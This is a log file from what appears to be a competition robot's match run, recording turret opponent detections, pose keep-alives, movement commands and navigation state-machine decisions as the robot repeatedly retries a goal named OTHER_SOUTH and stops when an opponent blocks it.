l(['166.33','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.33','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.34','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.34','PIC',GotoStarted()])
l(['166.37','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['166.38','PIC',KeepAlive(current_pose = Pose(1.36348497868, 2.07656979561, 1.49476087093), match_started = True, match_time = 86290)])
l(['166.42','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.44','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.49','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['166.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.56','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.61','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['166.63','PIC',KeepAlive(current_pose = Pose(1.36348521709, 2.07657289505, 1.49478757381), match_started = True, match_time = 86540)])
l(['166.63','ARM',KeepAlive(current_pose = Pose(1.36348521709, 2.07657289505, 1.49478757381), match_started = True, match_time = 86540)])
l(['166.66','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.68','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.73','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['166.78','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.80','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.84','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36354148388, 2.07732796669, 1.498503685), current_point_index = 1)])
l(['166.84','ARM','# Poping sub-state TrajectoryWalk'])
l(['166.84','ARM','# Pushing sub-state Antiblocking'])
l(['166.84','ARM',DisableAntiBlocking()])
l(['166.84','PIC',DisableAntiBlocking()])
l(['166.84','ARM','# Poping sub-state Antiblocking'])
l(['166.84','ARM','# Poping sub-state Sequence'])
l(['166.85','ARM','# Poping sub-state Navigate'])
l(['166.85','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['166.85','ARM','# Switching to state FindNextGoal'])
l(['166.85','ARM','# Calling GoalManager'])
l(['166.85','ARM','# Evaluate goal OTHER_SOUTH'])
l(['166.87','ARM','# Evaluate goal OTHER_SOUTH'])
l(['166.87','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['166.87','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['166.87','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['166.87','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['166.87','ARM','# Next goal is OTHER_SOUTH'])
l(['166.87','ARM','# Time taken for decision taking 27.134 ms'])
l(['166.87','ARM','# Pushing sub-state Navigate'])
l(['166.88','ARM','# Compute route from (1.36354148388, 2.07732796669) to (1.414, 0.86)'])
l(['166.88','ARM','# Add opponent zone at 1.13667140615 1.57551851161'])
l(['167.17','ARM','# Route computed. Length: 1.21837327627, Cost: 49.2183732763'])
l(['167.17','ARM','# Pushing sub-state Sequence'])
l(['167.17','ARM','# Pushing sub-state Antiblocking'])
l(['167.18','ARM',EnableAntiBlocking()])
l(['167.18','PIC',KeepAlive(current_pose = Pose(1.36355745792, 2.07755041122, 1.49965333939), match_started = True, match_time = 86790)])
l(['167.18','ARM',KeepAlive(current_pose = Pose(1.36355745792, 2.07755041122, 1.49965333939), match_started = True, match_time = 86790)])
l(['167.18','PIC',KeepAlive(current_pose = Pose(1.36355698109, 2.07754421234, 1.49959981441), match_started = True, match_time = 87040)])
l(['167.18','PIC',EnableAntiBlocking()])
l(['167.19','ARM','# Poping sub-state Antiblocking'])
l(['167.19','ARM','# Pushing sub-state TrajectoryWalk'])
l(['167.19','ARM',Goto(movement = 0, direction = 1, angle = 1.61220278006, points = [])])
l(['167.19','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.19','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.20','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.20','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.20','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.20','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.20','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.21','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.21','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.21','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.21','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.21','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.21','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.22','PIC',GotoStarted()])
l(['167.26','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.28','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.33','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.38','PIC',KeepAlive(current_pose = Pose(1.36355721951, 2.07754731178, 1.4996265173), match_started = True, match_time = 87290)])
l(['167.38','ARM',KeepAlive(current_pose = Pose(1.36355721951, 2.07754731178, 1.4996265173), match_started = True, match_time = 87290)])
l(['167.38','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.40','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.45','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.50','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.52','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.57','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.62','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.63','PIC',KeepAlive(current_pose = Pose(1.36358559132, 2.07794809341, 1.50165843964), match_started = True, match_time = 87540)])
l(['167.63','ARM',KeepAlive(current_pose = Pose(1.36358559132, 2.07794809341, 1.50165843964), match_started = True, match_time = 87540)])
l(['167.63','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.64','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.69','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.74','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.76','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.81','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.86','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.87','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['167.88','PIC',KeepAlive(current_pose = Pose(1.3638381958, 2.08229160309, 1.52499997616), match_started = True, match_time = 87790)])
l(['167.88','ARM',KeepAlive(current_pose = Pose(1.3638381958, 2.08229160309, 1.52499997616), match_started = True, match_time = 87790)])
l(['167.88','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['167.93','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['167.98','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['167.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.00','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.05','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.10','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.12','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.13','PIC',KeepAlive(current_pose = Pose(1.3640267849, 2.09082078934, 1.57526540756), match_started = True, match_time = 88040)])
l(['168.13','ARM',KeepAlive(current_pose = Pose(1.3640267849, 2.09082078934, 1.57526540756), match_started = True, match_time = 88040)])
l(['168.17','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.22','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.24','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.26','PIC',GotoFinished(reason = 0, current_pose = Pose(1.36393666267, 2.09589672089, 1.6040879488), current_point_index = 1)])
l(['168.26','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 0.86, None)])])
l(['168.29','PIC',GotoStarted()])
l(['168.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.36','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.38','PIC',KeepAlive(current_pose = Pose(1.36393022537, 2.09612584114, 1.60577237606), match_started = True, match_time = 88290)])
l(['168.38','ARM',KeepAlive(current_pose = Pose(1.36393022537, 2.09612584114, 1.60577237606), match_started = True, match_time = 88290)])
l(['168.41','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.41','ARM','# Opponent detected. direction = -1. Robot stopped'])
l(['168.41','ARM',Stop()])
l(['168.42','PIC',GotoFinished(reason = 3, current_pose = Pose(1.36394250393, 2.09577083588, 1.6037671566), current_point_index = 1)])
l(['168.42','ARM','# Pushing sub-state WaitForOpponentLeave'])
l(['168.42','ARM',Goto(movement = 1, direction = 1, angle = None, points = [Pose(1.36064601828, 2.19571648702, None)])])
l(['168.46','PIC',GotoStarted()])
l(['168.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.48','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.53','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.53','ARM',Stop()])
l(['168.54','PIC',GotoFinished(reason = 3, current_pose = Pose(1.3639395237, 2.09587454796, 1.60448908806), current_point_index = 1)])
l(['168.54','ARM','# WaitForOpponentLeave : exit on opponent leave reason=1'])
l(['168.54','ARM','# Poping sub-state WaitForOpponentLeave'])
l(['168.54','ARM','# Substate exit status = 1'])
l(['168.54','ARM','# TrajectoryWalk failed'])
l(['168.54','ARM','# Poping sub-state TrajectoryWalk'])
l(['168.54','ARM','# Pushing sub-state Antiblocking'])
l(['168.54','ARM',DisableAntiBlocking()])
l(['168.54','PIC',DisableAntiBlocking()])
l(['168.54','ARM','# Poping sub-state Antiblocking'])
l(['168.54','ARM','# Poping sub-state Sequence'])
l(['168.54','ARM','# Poping sub-state Navigate'])
l(['168.54','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=2)'])
l(['168.55','ARM','# Switching to state FindNextGoal'])
l(['168.55','ARM','# Calling GoalManager'])
l(['168.55','ARM','# Evaluate goal OTHER_SOUTH'])
l(['168.58','ARM','# Evaluate goal OTHER_SOUTH'])
l(['168.58','ARM','# Goal OTHER_SOUTH nav cost = 39.2132034302'])
l(['168.58','ARM','# Goal OTHER_SOUTH nav cost = 15035.2128906'])
l(['168.58','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['168.58','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['168.58','ARM','# Next goal is OTHER_SOUTH'])
l(['168.58','ARM','# Time taken for decision taking 33.665 ms'])
l(['168.58','ARM','# Pushing sub-state Navigate'])
l(['168.58','ARM','# Compute route from (1.3639395237, 2.09587454796) to (1.414, 0.86)'])
l(['168.58','ARM','# Add opponent zone at 1.19297091914 1.57301973143'])
l(['168.83','ARM','# Route computed. Length: 1.23688801012, Cost: 49.2368880101'])
l(['168.83','ARM','# Pushing sub-state Sequence'])
l(['168.83','ARM','# Pushing sub-state Antiblocking'])
l(['168.83','ARM',EnableAntiBlocking()])
l(['168.83','PIC',KeepAlive(current_pose = Pose(1.36392307281, 2.0963549614, 1.60692214966), match_started = True, match_time = 88540)])
l(['168.83','ARM',KeepAlive(current_pose = Pose(1.36392307281, 2.0963549614, 1.60692214966), match_started = True, match_time = 88540)])
l(['168.84','PIC',EnableAntiBlocking()])
l(['168.84','ARM','# Poping sub-state Antiblocking'])
l(['168.84','ARM','# Pushing sub-state TrajectoryWalk'])
l(['168.84','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 0.86, None)])])
l(['168.84','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.85','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.85','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.85','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.85','ARM','# Opponent detected. direction = -1. Robot stopped'])
l(['168.85','ARM',Stop()])
l(['168.85','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.85','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.86','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.86','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.86','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.86','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.86','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['168.87','PIC',GotoStarted()])
l(['168.89','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['168.90','PIC',GotoFinished(reason = 3, current_pose = Pose(1.36392509937, 2.09629845619, 1.60660111904), current_point_index = 1)])
l(['168.91','ARM','# Pushing sub-state WaitForOpponentLeave'])
l(['168.91','ARM',Goto(movement = 1, direction = 1, angle = None, points = [Pose(1.36034538512, 2.19623436388, None)])])
l(['168.91','PIC',KeepAlive(current_pose = Pose(1.36392509937, 2.09629845619, 1.60660111904), match_started = True, match_time = 88790)])
l(['168.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['168.95','PIC',GotoStarted()])
l(['168.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['168.96','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.01','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['169.01','ARM',Stop()])
l(['169.02','PIC',GotoFinished(reason = 3, current_pose = Pose(1.36390960217, 2.09671926498, 1.60895395279), current_point_index = 1)])
l(['169.02','ARM','# WaitForOpponentLeave : exit on opponent leave reason=1'])
l(['169.02','ARM','# Poping sub-state WaitForOpponentLeave'])
l(['169.02','ARM','# Substate exit status = 1'])
l(['169.02','ARM','# TrajectoryWalk failed'])
l(['169.02','ARM','# Poping sub-state TrajectoryWalk'])
l(['169.02','ARM','# Pushing sub-state Antiblocking'])
l(['169.02','ARM',DisableAntiBlocking()])
l(['169.02','PIC',DisableAntiBlocking()])
l(['169.02','ARM','# Poping sub-state Antiblocking'])
l(['169.02','ARM','# Poping sub-state Sequence'])
l(['169.02','ARM','# Poping sub-state Navigate'])
l(['169.03','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=2)'])
l(['169.03','ARM','# Switching to state FindNextGoal'])
l(['169.03','ARM','# Calling GoalManager'])
l(['169.03','ARM','# Evaluate goal OTHER_SOUTH'])
l(['169.06','ARM','# Evaluate goal OTHER_SOUTH'])
l(['169.06','ARM','# Goal OTHER_SOUTH nav cost = 39.2132034302'])
l(['169.06','ARM','# Goal OTHER_SOUTH nav cost = 15035.2128906'])
l(['169.06','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['169.06','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['169.06','ARM','# Next goal is OTHER_SOUTH'])
l(['169.06','ARM','# Time taken for decision taking 33.612 ms'])
l(['169.06','ARM','# Pushing sub-state Navigate'])
l(['169.06','ARM','# Compute route from (1.36390960217, 2.09671926498) to (1.414, 0.86)'])
l(['169.06','ARM','# Add opponent zone at 1.19443565616 1.57306492454'])
l(['169.31','ARM','# Route computed. Length: 1.23773324603, Cost: 49.237733246'])
l(['169.31','ARM','# Pushing sub-state Sequence'])
l(['169.31','ARM','# Pushing sub-state Antiblocking'])
l(['169.31','ARM',EnableAntiBlocking()])
l(['169.31','PIC',KeepAlive(current_pose = Pose(1.36390352249, 2.09687328339, 1.60972905159), match_started = True, match_time = 89040)])
l(['169.31','ARM',KeepAlive(current_pose = Pose(1.36390352249, 2.09687328339, 1.60972905159), match_started = True, match_time = 89040)])
l(['169.32','PIC',EnableAntiBlocking()])
l(['169.32','ARM','# Poping sub-state Antiblocking'])
l(['169.32','ARM','# Pushing sub-state TrajectoryWalk'])
l(['169.32','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 0.86, None)])])
l(['169.32','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.33','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.33','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.33','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['169.33','ARM','# Opponent detected. direction = -1. Robot stopped'])
l(['169.33','ARM',Stop()])
l(['169.33','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.33','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.34','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.34','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.34','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.35','PIC',GotoStarted()])
l(['169.38','PIC',GotoFinished(reason = 3, current_pose = Pose(1.36390292645, 2.09688925743, 1.60986292362), current_point_index = 1)])
l(['169.39','ARM','# Pushing sub-state WaitForOpponentLeave'])
l(['169.39','ARM',Goto(movement = 1, direction = 1, angle = None, points = [Pose(1.35999726041, 2.19681295719, None)])])
l(['169.39','PIC',KeepAlive(current_pose = Pose(1.36390292645, 2.09688925743, 1.60986292362), match_started = True, match_time = 89290)])
l(['169.42','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.43','PIC',GotoStarted()])
l(['169.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.44','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.56','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.63','PIC',KeepAlive(current_pose = Pose(1.36371862888, 2.10067081451, 1.63090503216), match_started = True, match_time = 89540)])
l(['169.63','ARM',KeepAlive(current_pose = Pose(1.36371862888, 2.10067081451, 1.63090503216), match_started = True, match_time = 89540)])
l(['169.66','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.68','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['169.78','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['169.88','PIC',KeepAlive(current_pose = Pose(1.36195898056, 2.11820268631, 1.7051268816), match_started = True, match_time = 89790)])
l(['169.88','ARM',KeepAlive(current_pose = Pose(1.36195898056, 2.11820268631, 1.7051268816), match_started = True, match_time = 89790)])
l(['169.90','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['169.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.02','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.14','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.26','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.38','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.50','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.62','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.63','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.74','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.86','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.87','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['170.98','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['170.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.10','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.22','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.59','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['171.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['171.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.06','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.18','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.19','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.30','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.31','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.36','ARM',Stop()])
l(['172.36','ARM',Stop()])
l(['172.42','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.66','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.78','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['172.90','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['172.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.02','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.14','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.26','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.38','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.50','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.62','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.63','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.74','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.86','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.87','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['173.98','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['173.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.10','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.22','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.59','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['174.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['174.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.06','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.18','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.19','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.30','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.31','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.42','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.66','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.78','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['175.90','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['175.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.02','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.14','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.26','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.38','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.50','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.62','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.63','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.74','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.86','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.87','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['176.98','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['176.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.10','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.22','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
